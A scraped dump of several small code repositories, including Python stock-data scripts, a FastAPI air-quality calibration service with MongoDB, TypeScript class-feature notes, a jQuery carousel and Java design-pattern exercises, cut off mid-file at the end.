] | 3 | INI | greatriver007/BLE-Weather-Station-Cloud-Gateway | a9be731568a9b8b3f83bde9bfb3140264acd041b | a000fee4a46489a6e478838dc733cfe0b8c85c27 |
refs/heads/master | <file_sep>print "hello from a py file"
<file_sep>
watchList = ['MSFT','AAPL','QCOM']
openPos = [('AAPL',100.00,100),('F',8.35,100),('DIS',87.35,100)] #(sym,buy,sh)
closedPos = [('MSFT',25.50,32.65,100),('INTC',35.35,27.89,100)] #(sym,buy,sell,sh)
myStocks = set()
for x in watchList:
myStocks.add(x)
for x in openPos:
myStocks.add(x[0])
for x in closedPos:
myStocks.add(x[0])
print myStocks
x = sorted(myStocks)
print x
<file_sep>
stocks = ['AAPL','F','MSFT','QCOM','AMZN']
print stocks
stocks.append('XOM')
print stocks
stocks.insert(1,'IBM')
print stocks
stocks.pop(0)
print stocks
sortedStocks = sorted(stocks)
print sortedStocks
print len(stocks)
<file_sep>import csv
def getStockDict():
dataFile = "companylist.csv"
f = open(dataFile, "r")
reader = csv.reader(f)
myDict = {}
for data in reader:
myDict[data[0]] = data[1]
return myDict
myDict = getStockDict()
myStocks = ['IBM','F', 'MSFT','DIS']
for x in myStocks:
if x in myDict:
print myDict[x]
else:
print "not found"
<file_sep>import urllib2
url = "http://chartapi.finance.yahoo.com/instrument/1.0/F/chartdata;type=quote;range=1y/csv"
sourceCode = urllib2.urlopen(url).read()
splitSource = sourceCode.split('\n')
for eachLine in splitSource:
splitLine = eachLine.split(',')
if len(splitLine) == 6 and len(splitLine[0])==8:
print splitLine
<file_sep>import urllib2
count = 0
with open('mystocks.csv', 'w') as f:
for stk in ['AAPL','F']:
url = "http://chartapi.finance.yahoo.com/instrument/1.0/" + stk + "/chartdata;type=quote;range=1y/csv"
sourceCode = urllib2.urlopen(url).read()
splitSource = sourceCode.split('\n')
for eachLine in splitSource:
splitLine = eachLine.split(',')
if len(splitLine) == 6 and len(splitLine[0])==8:
print splitLine
f.write(stk + "," + eachLine + "\n")
count = count + 1
f.close()
print count
<file_sep>myDict = {}
print myDict
myDict['ABC'] = "Company ABC"
myDict['XYZ'] = "Corporation XYZ"
myDict['ZZZ'] = "ZZZ Inc"
print myDict
print myDict['ABC']
for x in myDict.keys():
print x, myDict[x]
for x in myDict:
print x
myDict['ZZZ'] = "Updated Company"
print myDict['ZZZ']
if 'ZZZ' in myDict:
print "True"
print
print "Corporation XYZ" in myDict.values()
<file_sep>import urllib2
stockDict = {}
for stk in ['AAPL','MSFT']:
url = "http://chartapi.finance.yahoo.com/instrument/1.0/" + stk + "/chartdata;type=quote;range=1y/csv"
sourceCode = urllib2.urlopen(url).read()
splitSource = sourceCode.split('\n')
for eachLine in splitSource:
splitLine = eachLine.split(',')
if len(splitLine) == 6 and len(splitLine[0])==8:
#Date,close,high,low,open,volume
myTupleKey = (stk, splitLine[0])
stockDict[myTupleKey] = splitLine[1]
print stockDict[('AAPL','20170412')]
print stockDict[('AAPL','20170103')]
print stockDict[('MSFT','20170412')]
print stockDict[('MSFT','20170103')]
<file_sep>
myStocks = []
myStocks = ['QCOM','AAPL','F']
print myStocks
myStocks.append('MSFT')
print myStocks
myStocks.insert(0,'GOOG')
print myStocks
myStocks.pop()
print myStocks
x = sorted(myStocks)
print x
if 'GM' in x:
print "GM is in stocks"
else:
print "GM not in stocks"
<file_sep>
count = 0
with open('mystocks.csv', 'r') as f:
for line in f:
print line
count = count + 1
f.close()
print count
<file_sep>import urllib2
count = 0
twoPercent = []
for stk in ['AAPL', 'F', 'MSFT']:
url = "http://chartapi.finance.yahoo.com/instrument/1.0/" + stk + "/chartdata;type=quote;range=1y/csv"
sourceCode = urllib2.urlopen(url).read()
splitSource = sourceCode.split('\n')
for eachLine in splitSource:
splitLine = eachLine.split(',')
if len(splitLine) == 6 and len(splitLine[0])==8:
#print splitLine
cls = float(splitLine[1])
opn = float(splitLine[4])
chg = (cls-opn)/opn
if chg > 0.02:
#print stk + " " + str(chg)
twoPercent.append(splitLine[0] + " " + stk + " " + str(chg))
count = count + 1
print count
for x in sorted(twoPercent):
print x
| 61ab401fc98e8f231a44a875f3b1539f749018fc | [
"Python"
] | 11 | Python | ronmorg/stockmarket_code | 0d1de1cc7a16ad5f2d7ffb60f6d6b036f96e62a1 | 3794029b4afff8f7b75d7d80bda44fc9adeb1b7b |
refs/heads/master | <file_sep>// !/ <reference path="../../../../../../typings/es6-promise/es6-promise.d.ts" />
import Command from './../../../interfaces/Command'
export default class APICommand extends Command<Promise<string>> {
internalExecute() {
return new Promise<string>(resolve => setTimeout(() => resolve('qwe'), 1000))
}
}
<file_sep>var webpack = require('webpack');
var config = require('./webpack.server.config.js');
var spawn = require('child_process').spawn;
var compiler = webpack(config);
compiler.watch({
aggregateTimeout: 300,
poll: true
}, function(err, stats) {
if (err) {
console.log(err)
} else {
console.log(stats.toString({
colors: true
}))
if (this.server) {
this.server.kill('SIGHUP')
}
this.server = spawn(process.execPath, [__dirname + '/build/server.js']);
this.server.stdout.setEncoding('utf8');
this.server.stdout.on('data', function(data) {
console.log(data);
});
this.server.stderr.setEncoding('utf8');
this.server.stderr.on('data', function(data) {
console.log(data);
});
}
});
<file_sep>/// <reference path="../../../typings/node/node.d.ts" />
abstract class Command<T> {
abstract internalExecute():T
execute(): T {
var startTime = global.process.hrtime();
var value = this.internalExecute();
var diff = global.process.hrtime(startTime);
console.log((diff[0] * 1000) + (diff[1] / 1000000) + 'ms')
return value;
}
}
export default Command;
<file_sep>require('./logger.ts');
<file_sep>import Command from './../interfaces/Command'
export default class Delay extends Command<Promise<void>> {
wait: number;
constructor(wait: number) {
super();
this.wait = wait;
}
internalExecute() {
return new Promise<void>(resolve => setTimeout(resolve, this.wait));
}
}
<file_sep>import Server from './Server';
var server = new Server();
server.start();
<file_sep>import ServiceInterface from './../../interfaces/ServiceInterface';
import Delay from './../../commands/Delay';
import DelayedValue from './../../commands/DelayedValue';
export default class APIService implements ServiceInterface {
counter: number;
constructor() {
this.counter = 0;
}
async start() {
// load config, create classes, etc ...
await(new Delay(1000).execute());
// run processing
this.process();
console.log('API Service started');
}
async process() {
this.counter = await (new DelayedValue(this.counter + 1, 1000).execute());
console.log('Processing: ', this.counter);
setTimeout(() => this.process(), 1000);
}
async stop() {
return new Promise((resolve, reject) => {
setTimeout(() => {
console.log('API Service stopped');
resolve();
}, 1000);
})
}
}
<file_sep># typescript_babel_react_express
typescript+babel+react+express
npm run devserver
<file_sep>
interface ServiceInterface {
start(): void;
stop(): void;
}
export default ServiceInterface;
<file_sep>require('./server/index.ts');
<file_sep>import ServiceInterface from './interfaces/ServiceInterface'
import APIService from './services/api/APIService';
export default class Server {
apiService: ServiceInterface;
constructor() {
this.apiService = new APIService();
}
async start() {
console.log('Start server');
await this.apiService.start();
}
async stop() {
await this.apiService.stop();
console.log('Start stopped');
}
}
| 229548b21b7804b08e9a2d91781040b0aeb9e55e | [
"JavaScript",
"TypeScript",
"Markdown"
] | 11 | TypeScript | artem1/typescript_babel_react_express | ebb10f2164fe67f428a13e0ae4319d2ab6f1d6fd | a00de5d38c61b2eee96fc2c08928e80cd5c11a9e |
refs/heads/master | <file_sep><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<?php include("../../inc/meta.php") ?>
<link rel="stylesheet" href="style.css">
<title>JSON Carousel</title>
<?php include("../../inc/header.php") ?>
<h1><span>JSON Carousel</span></h1>
</div>
<div id="canvas" class="container group">
<div id="primaryContent" class="group">
<div id="speakerbox">
<a href="#" id="prev_btn">«</a>
<a href="#" id="next_btn">»</a>
<div id="carousel"></div>
</div>
<script id="speakerstpl" type="text/template">
{{#speakers}}
<div class="speaker">
<img src="images/{{shortname}}_tn.jpg" alt="Photo of {{name}}" />
<h3>{{name}}</h3>
<h4>{{reknown}}</h4>
<p>{{bio}}</p>
</div>
{{/speakers}}
</script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/1.9.1/jquery.min.js" type="text/javascript"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery.cycle/2.9999.8/jquery.cycle.all.min.js" type="text/javascript"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/mustache.js/0.7.0/mustache.min.js" type="text/javascript"></script>
<script type="text/javascript">
$(function() {
$.getJSON('data.json', function(data) {
var template = $('#speakerstpl').html();
var html = Mustache.to_html(template, data);
$('#carousel').html(html);
$('#carousel').cycle({
fx: 'fade',
pause: 1,
next: '#next_btn',
prev: '#prev_btn',
speed: 500,
timeout: 10000
});
}); //getJSON
}); //function
</script>
</div> <!-- main content -->
<!--
<div id="secondaryContent">
</div><!-- right col content -->
</div>
</body>
</html><file_sep># build-carousel-from-json
Code to create a carousel form the data in a JSON file. Based on the project I posted on my code blog: http://www.femkreations.com/how-to-build-carousel-from-json/
For more blog posts visit: http://www.femkreations.com/blog/
Think your next project could benefit from my skills? Hire Me!
For more info visit: http://femKreations.com
Thanks Femy
<file_sep>// jQuery Document
| 394a80bdab74e60e509ab4e3aa68916cdc986fae | [
"Markdown",
"JavaScript",
"PHP"
] | 3 | PHP | femkreations/build-carousel-from-json | 5891307924a209b08f1a3229d7332b84765a71bc | 55d7f1697904dfc84a4a2b7450361f410e378e0f |
refs/heads/main | <file_sep>from fastapi import FastAPI
from server.routes.sensor import router as CalibrationRouter
from server.routes.forecasting import router as ForecastingRouter
from fastapi.middleware.cors import CORSMiddleware
app = FastAPI()
origins = ["*"]
app.add_middleware(
CORSMiddleware,
allow_origins=origins,
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
app.include_router(CalibrationRouter, tags=["Calibration"], prefix="/calibration")
app.include_router(ForecastingRouter, tags=["Forecasting"], prefix="/forecasting")
@app.get("/", tags=["Root"])
async def read_root():
return {"message": "Welcome to this fantastic app!"}
<file_sep>from fastapi import APIRouter, Body
from fastapi.encoders import jsonable_encoder
from server.dms.forecasting import (
add_forecasting,
delete_forecasting,
retrieve_forecasting,
retrieve_forecastings,
update_forecasting,
)
from server.utils.response import (
ErrorResponseModel,
ResponseModel,
)
from server.models.forecasting import ForecastingSchema
router = APIRouter()
@router.get("/", response_description="forecastings retrieved")
async def get_forecastings():
forecastings = await retrieve_forecastings()
if forecastings:
return ResponseModel(forecastings, "forecastings data retrieved successfully")
return ResponseModel(forecastings, "Empty list returned")
@router.get("/{area}", response_description="forecasting data retrieved")
async def get_forecasting_data(area):
forecasting = await retrieve_forecasting(area)
if forecasting:
return ResponseModel(forecasting, "forecasting data retrieved successfully")
return ErrorResponseModel("An error occurred.", 404, "forecasting doesn't exist.")
@router.post("/", response_description="forecasting data added into the database")
async def add_forecasting_data(forecasting: ForecastingSchema = Body(...)):
forecasting = jsonable_encoder(forecasting)
new_forecasting = await add_forecasting(forecasting)
return ResponseModel(new_forecasting, "forecasting added successfully.")<file_sep>import time
from typing import Dict
import jwt
from fastapi import Request, HTTPException
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
JWT_SECRET = "<KEY>"
def token_response(token: str):
return {
"access_token": token
}
def signJWT(user_id: str) -> Dict[str, str]:
payload = {
"user_id": user_id,
"expires": time.time() + 600
}
token = jwt.encode(payload, JWT_SECRET)
return token_response(token)
def decodeJWT(token: str) -> dict:
try:
decoded_token = jwt.decode(token, JWT_SECRET, algorithms="HS256")
return decoded_token
except Exception as e:
print(e)
return {}
class JWTBearer(HTTPBearer):
def __init__(self, auto_error: bool = True):
super(JWTBearer, self).__init__(auto_error=auto_error)
payload = None
async def __call__(self, request: Request):
credentials: HTTPAuthorizationCredentials = await super(JWTBearer, self).__call__(request)
if credentials:
if not credentials.scheme == "Bearer":
raise HTTPException(status_code=403, detail="Invalid authentication scheme.")
payload = self.verify_jwt(credentials.credentials)
if not payload:
raise HTTPException(status_code=403, detail="Invalid token or expired token.")
return self.payload
else:
raise HTTPException(status_code=403, detail="Invalid authorization code.")
def verify_jwt(self, jwtoken: str) -> bool:
isTokenValid: bool = False
try:
self.payload = decodeJWT(jwtoken)
except:
self.payload = None
if self.payload:
isTokenValid = True
return isTokenValid<file_sep>from crontab import CronTab
cron = CronTab(user=True)
job = cron.new(command='curl localhost:8000/sensor/get_sensors/')
job.minute.every(5)
## The job takes place once every four hours
job.hour.every(4)
## The job takes place on the 4th, 5th, and 6th day of the week.
job.day.on(4, 5, 6)
cron.write("update_calibration.tab")<file_sep>from typing import Optional
from pydantic import BaseModel, Field
class RawCalibration(BaseModel):
raw: float
calibrated: float
class SensorSchema(BaseModel):
device_id: str = None
datetime: str = None
PM2_5: Optional[RawCalibration] = None
PM10: Optional[RawCalibration] = None
PM1_0: Optional[RawCalibration] = None
temperature: Optional[RawCalibration] = None
humidity: Optional[RawCalibration] = None
CO: Optional[RawCalibration] = None
CO2: Optional[RawCalibration] = None
NO2: Optional[RawCalibration] = None
O3: Optional[RawCalibration] = None
SO2: Optional[RawCalibration] = None<file_sep>def prepare_train_valid_test(data, train_size, test_size):
valid_len = int(data.shape[0] * (1 - test_size - train_size))
train_len = int(data.shape[0] * train_size)
train_set = data[0:train_len]
valid_set = data[train_len:train_len + valid_len]
test_set = data[train_len + valid_len:]
return train_set, valid_set, test_set
def mae(test_arr, prediction_arr):
with np.errstate(divide='ignore', invalid='ignore'):
error_mae = mean_absolute_error(test_arr, prediction_arr)
return error_mae
def mse(test_arr, prediction_arr):
with np.errstate(divide='ignore', invalid='ignore'):
error_mse = mean_squared_error(test_arr, prediction_arr)
return error_mse
def rmse(test_arr, prediction_arr):
with np.errstate(divide='ignore', invalid='ignore'):
error_rmse = np.sqrt(mean_squared_error(test_arr, prediction_arr))
return error_rmse
def mape(test_arr, prediction_arr):
with np.errstate(divide='ignore', invalid='ignore'):
y_true, y_pred = np.array(test_arr), np.array(prediction_arr)
error_mape = np.mean(np.abs((y_true - y_pred) / y_true)) * 100
return error_mape
def cal_error(test_arr, prediction_arr):
with np.errstate(divide='ignore', invalid='ignore'):
# cal mse
error_mae = mae(test_arr, prediction_arr)
# cal rmse
error_mse = mse(test_arr, prediction_arr)
error_rmse = rmse(test_arr, prediction_arr)
# cal mape
error_mape = mape(test_arr, prediction_arr)
error_list = [error_mae, error_rmse, error_mape]
return error_list
def save_metrics(error_list, log_dir, filename):
now = datetime.now()
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
error_list = error_list.tolist()
error_list.insert(0, dt_string)
with open(log_dir + filename + ".csv", 'a') as file:
writer = csv.writer(file)
writer.writerow(error_list)<file_sep>import motor.motor_asyncio
from bson import ObjectId
from decouple import config
from typing import Optional
MONGO_DETAILS = config('MONGO')
client = motor.motor_asyncio.AsyncIOMotorClient(MONGO_DETAILS)
database = client['fimi']<file_sep>import motor.motor_asyncio
from bson import ObjectId
from decouple import config
from typing import Optional
from server.database.mongo import database
sensor_collection = database.get_collection("sensor")
# helpers
def sensor_helper(sensor) -> dict:
return {
"id": str(sensor["_id"]),
"device_id": sensor["device_id"],
"datetime": sensor["datetime"],
"PM2_5": sensor["PM2_5"],
"PM10": sensor["PM10"],
"PM1_0": sensor["PM1_0"],
"temperature": sensor["temperature"],
"humidity": sensor["humidity"],
"CO": sensor["CO"],
"CO2": sensor["CO2"],
"NO2": sensor["NO2"],
"O3": sensor["O3"],
"SO2": sensor["SO2"],
}
async def retrieve_sensors():
sensors = []
async for sensor in sensor_collection.find().limit(20):
sensors.append(sensor_helper(sensor))
return sensors
async def retrieve_sensor(device_id: str) -> dict:
sensors = []
async for sensor in sensor_collection.find({"device_id": device_id}):
sensors.append(sensor_helper(sensor))
return sensors
async def update_sensor(_id: str, data: dict):
if len(data) < 1:
return False
sensor = await sensor_collection.find_one({"_id": _id})
if sensor:
updated_sensor = await sensor_collection.update_one(
{"_id": _id}, {"$set": data}
)
if updated_sensor:
return True
return False<file_sep>import requests
import pandas as pd
from datetime import datetime
data = pd.read_csv('./app/data/fimi02.csv', usecols=['DATE', 'TIME', 'PM2.5'])
data['datetime'] = data['DATE'] + " " + data['TIME']
data['datetime'] = pd.to_datetime(data['datetime'], format='%Y/%m/%d %H:%M:%S')
df = pd.DataFrame(list(zip(data['datetime'], data['PM2.5'])),
columns = ['datetime', 'pm2_5'])
df = df.sort_values(by='datetime')
df.to_csv('./app/data/fimi02_new.csv', index=False)<file_sep># async-fastapi-mongo
Repository housing code for the Testdriven article.
web: uvicorn app.server.app:app --host 0.0.0.0 --port=$PORT<file_sep>import requests
import pandas as pd
from datetime import datetime
import os
startTs = str(int(datetime.timestamp(datetime(2021, 5, 12, 15, 40, 0))*1000))
endTs = str(int(datetime.timestamp(datetime(2021, 5, 12, 16, 40, 0))*1000))
auth_token='<KEY>'
headers = {'X-Authorization': 'Bearer ' + auth_token}
params = {'limit' : 10000,
'startTs': startTs,
'endTs': endTs,
'keys': 'PM2_5'}
device_type = "DEVICE"
device_id = "d3aafd20-a6fc-11eb-8131-efbcb50b4b8d"
url = 'http://4172.16.31.10:8080/api/plugins/telemetry/{}/{}/values/timeseries'.format(device_type, device_id)
response = requests.get(url, params=params, headers=headers)
data = response.json()
date = []
pm2_5 = []
for i in range(len(data['PM2_5'])):
ticks = data['PM2_5'][i]['ts']
date.append(datetime.fromtimestamp(float(ticks)/1000))
pm2_5.append(data['PM2_5'][i]['value'])
df = pd.DataFrame(list(zip(date, pm2_5)),
columns = ['datetime', 'pm2_5'])
df = df.sort_values(by='datetime')
df.to_csv('./app/data/fimi01_new.csv', index=False)
<file_sep>import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import numpy as np
from scipy.signal import savgol_filter
import datetime
fimi01 = pd.read_csv('./app/data/fimi01_new.csv')
fimi02 = pd.read_csv('./app/data/fimi02_new.csv')
envitus = pd.read_csv('./app/data/envitus_new.csv')
fimi01['datetime'] = pd.to_datetime(fimi01['datetime'])
fimi02['datetime'] = pd.to_datetime(fimi02['datetime'])
envitus['datetime'] = pd.to_datetime(envitus['datetime']) + datetime.timedelta(hours=7)
fig, axs = plt.subplots(3)
fig.suptitle('Data trong khoang thoi gian thi nghiem voi thay Thuan')
axs[0].plot(fimi01['datetime'], fimi01['pm2_5'])
axs[0].set_title("Fimi01")
axs[0].axes.xaxis.set_visible(False)
axs[1].plot(fimi02['datetime'], fimi02['pm2_5'])
axs[1].set_title("Fimi02")
axs[1].axes.xaxis.set_visible(False)
axs[2].plot(envitus['datetime'], envitus['pm2_5'])
axs[2].set_title("Envitus")
axs[2].axes.xaxis.set_visible(False)
for ax in axs.flat:
ax.set(xlabel='Datetime', ylabel='PM2.5')
# Hide x labels and tick labels for top plots and y ticks for right plots.
for ax in axs.flat:
ax.label_outer()
plt.show()
plt.plot(fimi01['datetime'], fimi01['pm2_5'], label = "fimi01", color='green')
plt.plot(fimi02['datetime'], fimi02['pm2_5'], label = "fimi02", color='red')
plt.plot(envitus['datetime'], envitus['pm2_5'], label = "envitus", color='blue')
plt.xlabel('datetime')
plt.ylabel('pm2.5')
plt.title('Data trong khoang thoi gian thi nghiem voi thay Thuan')
plt.legend()
plt.show()
fimi01['pm2_5'] = savgol_filter(fimi01['pm2_5'], 101, 3)
fimi02['pm2_5'] = savgol_filter(fimi02['pm2_5'], 51, 3)
envitus['pm2_5'] = savgol_filter(envitus['pm2_5'], 11, 3)
fig, axs = plt.subplots(3)
fig.suptitle('Data trong khoang thoi gian thi nghiem voi thay Thuan (Smooth)')
axs[0].plot(fimi01['datetime'], fimi01['pm2_5'])
axs[0].set_title("Fimi01")
axs[0].axes.xaxis.set_visible(False)
axs[1].plot(fimi02['datetime'], fimi02['pm2_5'])
axs[1].set_title("Fimi02")
axs[1].axes.xaxis.set_visible(False)
axs[2].plot(envitus['datetime'], envitus['pm2_5'])
axs[2].set_title("Envitus")
axs[2].axes.xaxis.set_visible(False)
for ax in axs.flat:
ax.set(xlabel='Datetime', ylabel='PM2.5')
# Hide x labels and tick labels for top plots and y ticks for right plots.
for ax in axs.flat:
ax.label_outer()
plt.show()
plt.plot(fimi01['datetime'], fimi01['pm2_5'], label = "fimi01", color='green')
plt.plot(fimi02['datetime'], fimi02['pm2_5'], label = "fimi02", color='red')
plt.plot(envitus['datetime'], envitus['pm2_5'], label = "envitus", color='blue')
plt.xlabel('datetime')
plt.ylabel('pm2.5')
plt.title('Data trong khoang thoi gian thi nghiem voi thay Thuan (Smooth)')
plt.legend()
plt.show()
# fimi01 = fimi01.resample('1min', on='datetime').mean()
# fimi02 = fimi02.resample('1min', on='datetime').mean()
# envitus = envitus.resample('1min', on='datetime').mean()
# fig, axs = plt.subplots(3)
# fig.suptitle('Data thu trong khoang thoi gian thi nghiem voi thay Thuan')
# axs[0].plot(fimi01.index, fimi01['pm2_5'])
# axs[0].set_title("Fimi01")
# axs[0].axes.xaxis.set_visible(False)
# axs[1].plot(fimi02.index, fimi02['pm2_5'])
# axs[1].set_title("Fimi02")
# axs[1].axes.xaxis.set_visible(False)
# axs[2].plot(envitus.index, envitus['pm2_5'])
# axs[2].set_title("Envitus")
# axs[2].axes.xaxis.set_visible(False)
# for ax in axs.flat:
# ax.set(xlabel='Datetime', ylabel='PM2.5')
# # Hide x labels and tick labels for top plots and y ticks for right plots.
# for ax in axs.flat:
# ax.label_outer()
# plt.show()<file_sep>from fastapi import APIRouter, Body
from fastapi.encoders import jsonable_encoder
from models.data_calibration import calibrate_data_xgboost
from server.dms.sensor import (
retrieve_sensor,
retrieve_sensors,
update_sensor,
)
from server.utils.response import (
ErrorResponseModel,
ResponseModel,
)
from server.models.sensor import SensorSchema
router = APIRouter()
@router.post("/calibrate_by_id/{device_id}", response_description="calibrate one device")
async def calibrate_one_device(device_id):
sensors = await retrieve_sensor(device_id)
updated_sensors = []
for i in range(len(sensors)):
if calibrate_data_xgboost(sensors[i]["PM2.5"]["raw"]) != 0:
sensors[i]["PM2.5"]["calibrated"] = calibrate_data_xgboost(sensors[i]["PM2.5"]["raw"])
updated_sensor = await update_sensor(sensors[i]["_id"], sensors[i])
updated_sensors.append(updated_sensor)
return ResponseMessage("calibration by device_id updated successfully.")
@router.post("/calibrate_all_devices", response_description="calibrate all devices")
async def calibrate_all_devices(sensor: SensorSchema = Body(...)):
sensors = await retrieve_sensors()
updated_sensors = []
for i in range(len(sensors)):
if calibrate_data_xgboost(sensors[i]["PM2.5"]["raw"]) != 0:
sensors[i]["PM2.5"]["calibrated"] = calibrate_data_xgboost(sensors[i]["PM2.5"]["raw"])
updated_sensor = await update_sensor(sensors[i]["_id"], sensors)
updated_sensors.append(updated_sensor)
return ResponseMessage("calibration for all devices updated successfully.") <file_sep># from sklearn.metrics import recall_score
from sklearn.metrics import mean_absolute_error
from xgboost import XGBRegressor as xgbmodel
from models.utils import prepare_train_valid_test
import pandas as pd
import numpy as np
np.random.seed(0)
def train_model_calibration_xgboost(dataset, train_per=0.6, valid_per=0.2):
dataset = dataset.to_numpy()
X = dataset[:, 0:-1]
Y = dataset[:, -1]
X_train, X_valid, X_test = prepare_train_valid_test(X, train_per, valid_per)
y_train, y_valid, y_test = prepare_train_valid_test(Y, train_per, valid_per)
model = xgbmodel(objective='reg:squarederror')
model.fit(X_train, y_train, eval_metric="mae", eval_set=[(X_valid, y_valid)], verbose=False)
pickle.dump(model, open("pretrained/xgboost_calibration.dat", "wb"))
def calibrate_data_xgboost(data):
loaded_model = pickle.load(open("pretrained/xgboost_calibration.dat", "rb"))
data_calibration = loaded_model.predict(data)
return data_calibration<file_sep>import motor.motor_asyncio
from bson import ObjectId
from decouple import config
from typing import Optional
from server.database.mongo import database
forecasting_collection = database.get_collection("forecasting")
# helpers
def forecasting_helper(forecasting) -> dict:
return {
"id": str(forecasting["_id"]),
"area": forecasting["device_id"],
"datetime": forecasting["datetime"],
"PM2_5": forecasting["PM2_5"],
"PM10": forecasting["PM10"],
"PM1_0": forecasting["PM1_0"],
"temperature": forecasting["temperature"],
"humidity": forecasting["humidity"],
"CO": forecasting["CO"],
"CO2": forecasting["CO2"],
"NO2": forecasting["NO2"],
"O3": forecasting["O3"],
"SO2": forecasting["SO2"],
}
async def retrieve_forecastings():
forecastings = []
async for forecasting in forecasting_collection.find().limit(20):
forecastings.append(forecasting_helper(forecasting))
return forecastings
async def add_forecasting(forecasting_data: dict) -> dict:
forecasting = await forecasting_collection.insert_one(forecasting_data)
new_forecasting = await forecasting_collection.find_one({"_id": forecasting.inserted_id})
return forecasting_helper(new_forecasting)
async def retrieve_forecasting(id: str) -> dict:
forecasting = await forecasting_collection.find_one({"device_id": id})
if forecasting:
return forecasting_helper(forecasting)
async def update_forecasting(id: str, data: dict):
if len(data) < 1:
return False
forecasting = await forecasting_collection.find_one({"device_id": id})
if forecasting:
updated_forecasting = await forecasting_collection.update_one(
{"device_id": id}, {"$set": data}
)
if updated_forecasting:
return True
return False
async def delete_forecasting(id: str):
forecasting = await forecasting_collection.find_one({"device_id": id})
if forecasting:
await forecasting_collection.delete_one({"device_id": id})
return True | dfcb276c7eb30ba15d219379587d1ae3ca901044 | [
"Markdown",
"Python"
] | 15 | Python | ngminhhieu/fimi-AI | 89669a14d3cd9b3b5d87eb9fcfc9c7fd88c83938 | ae5b194b6594192dce818e111d7ce5278ce967c9 |
refs/heads/master | <repo_name>chltjdrhd777/udemy--typescript-static-abstract-singleton-private-constructor<file_sep>/README.md
# udemy--typescript-static-abstract-singleton-private-constructor
ok
<file_sep>/src/project8.ts
//static method = allows me to call this method located inside a class without making class instance from inside and outside.
class staticCall {
static doesItwork(calling) {
return calling;
}
}
const a = staticCall.doesItwork("STATIC!!"); // I dont have to make const a because the answer of staticCall.doesItwork("STATIC!!") is also (STATIC!!) but I want to see the result from console.log
console.log(a); //STATICC
//If I would like to call static method from the other static method located in the same class, I could use "this" to call the target method.
class staticCall2 {
static callMe1(b) {
return `${b} is great`;
}
static callMe2(c) {
return this.callMe1(c) + "Double calling..."; // <-- use "this" to indicate the class which contains the target static method.
}
}
const b = staticCall2.callMe2("c would be passed to b");
console.log(b); //c would be passed to b is greatDouble calling...
//Then, If I want to access to a static method from the none-static method. I can use "classname.staticname()"
class staticCall3 {
static callMe3(a: number, b: number, c: number) {
if (a !== 2) {
return b + c;
}
return a + b + c;
}
constructor() {
console.log(staticCall3.callMe3(2, 3, 4)); // 9
}
}
////////////////////////////////////////////////////////////////////////////////
//abstract = it could be used like interface. If I want to order the other classes inheriting parent class's structure, and I hope to force them to realize a specific function, I could use abstract.
abstract class abstracting {
abstract1(push) {
console.log("Does it work?" + push);
}
abstract abstract2(): void; //if I want to set abstract, 1. write "abstract" at the front of class. 2. write "abstract" to targetting specific method which I want to make it mendatory.
}
class abstracting2 extends abstracting {
abstract2() {
console.log("Does it work 2");
} // I must realize abstract2. Technically, realizing function with the name of abstract2. If not, it makes an error because realizing abstract2 is mendatory in abstract class.
}
const testAbstracting = new abstracting2();
testAbstracting.abstract1("yes"); // Does it work?yes
testAbstracting.abstract2(); //Does it work2
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//singleton = make sure that there is only one instance of a certain class.
class singletonPrac {
private static instance: singletonPrac; // "private static" = it can be used only inside, but thanks to static I can utilize this by not making new ~~~. And, this follows the constructor of singletonPrac
private constructor(private id: string) {}
/* get privateID() {
return this.id;
} */
static getInstance() {
//the name of this is up to me.
if (singletonPrac.instance) {
return this.instance; // In this case, this means singletonPrac because I would like to call the static from other static method.
}
this.instance = new singletonPrac("does it work?");
return this.instance;
}
addId(idName) {
this.id = idName;
}
}
const getsingleton = singletonPrac.getInstance();
const getsingleton2 = singletonPrac.getInstance();
console.log(getsingleton, getsingleton2);
//const single = new singletonPrac("does it work?");
//single.addId("change");
//console.log(single.privateID); // change
// First, I put "private" at the front of constructor of class singletonPrac.
// Then, new singletonPrac makes an error because the constructor is private.
// To access to this, I can utilize static.
| a3ff1c5ff4bb8a92bcc22892b65ab9edfc927218 | [
"Markdown",
"TypeScript"
] | 2 | Markdown | chltjdrhd777/udemy--typescript-static-abstract-singleton-private-constructor | a255020458bddb9b1d5af6fd5fb99b047cedb200 | 20870cda99fabcfadc5b7496170b74f224712b59 |
refs/heads/master | <file_sep>package kr.study;
/**
* Created by soyoon on 2015. 12. 8..
*/
public interface AttackStrategy {
public void attack();
}
<file_sep>package com.pattern.command.ver3;
public class Client {
public static void main(String[] args) {
Alarm alarm = new Alarm() ;
Lamp lamp = new Lamp();
Button alarmButton = new Button(new AlarmStartCommand()) ;
alarmButton.pressed(alarm);
alarmButton.setCommand(new LampOnCommand());
alarmButton.pressed(lamp);
}
}
<file_sep>package state.autosafe;
/**
* Created by soyoon on 2015. 12. 9..
*/
public class NightState implements SafeState {
private static NightState instance;
private NightState(){}
public static NightState getInstance() {
synchronized (NightState.class) {
if(instance == null) {
instance = new NightState();
}
}
return instance;
}
public String toString() {
return "[야간]";
}
@Override
public void doAlarm(Context context) {
context.callSecurityCenter("비상벨 울림");
}
@Override
public void doClock(Context context, int time) {
if(time>=9 || time<=18) {
context.changeState(DayState.getInstance());
}
}
@Override
public void doPhone(Context context) {
context.recordLog("전화 연락");
}
@Override
public void doUse(Context context) {
context.callSecurityCenter("금고사용 비상!!");
}
}
<file_sep>package school.model;
import java.io.*;
public class Person implements Serializable
{
private String no, name, address, tel;
private int age;
public Person(){}
public Person(String no, String name,int age, String address, String tel){
this.no = no; this.name = name; this.age = age;
this.address = address; this.tel = tel;
}
public String toString(){
return "no :"+no+" "+name+" - "+age+"세,"+address+","+tel;
}
public boolean equals(Object o){
boolean result = false;
if(o !=null){
if(o instanceof Person){
Person p = (Person)o;
if(no.equals(p.no)) result = true;
}
}
return result;
}
public void setNo(String no){ this.no = no;}
public void setName(String name){ this.name = name;}
public void setAddress(String address){ this.address = address;}
public void setTel(String tel){ this.tel = tel;}
public void setAge(int age){ this.age = age;}
public String getNo(){ return no;}
public String getName(){ return name;}
public String getAddress(){ return address;}
